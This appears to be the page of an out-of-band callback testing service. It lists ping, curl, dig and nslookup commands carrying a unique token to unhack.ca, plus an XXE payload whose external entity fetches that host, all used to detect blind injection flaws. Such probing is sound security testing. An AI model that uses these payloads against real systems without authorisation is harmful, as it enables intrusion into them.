$ ping -c1 -p 004aa053112266867244c2dc61775600 unhack.ca
 
$ curl http://unhack.ca/p/4aa053112266867244c2dc617756
 
$ dig 4aa053112266867244c2dc617756 @unhack.ca
 
$ dig 4aa053112266867244c2dc617756.ns.unhack.ca
 
C:\> nslookup 4aa053112266867244c2dc617756 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/4aa053112266867244c2dc617756">]>
    <foo>&xxe;</foo>
 
Waiting for ping...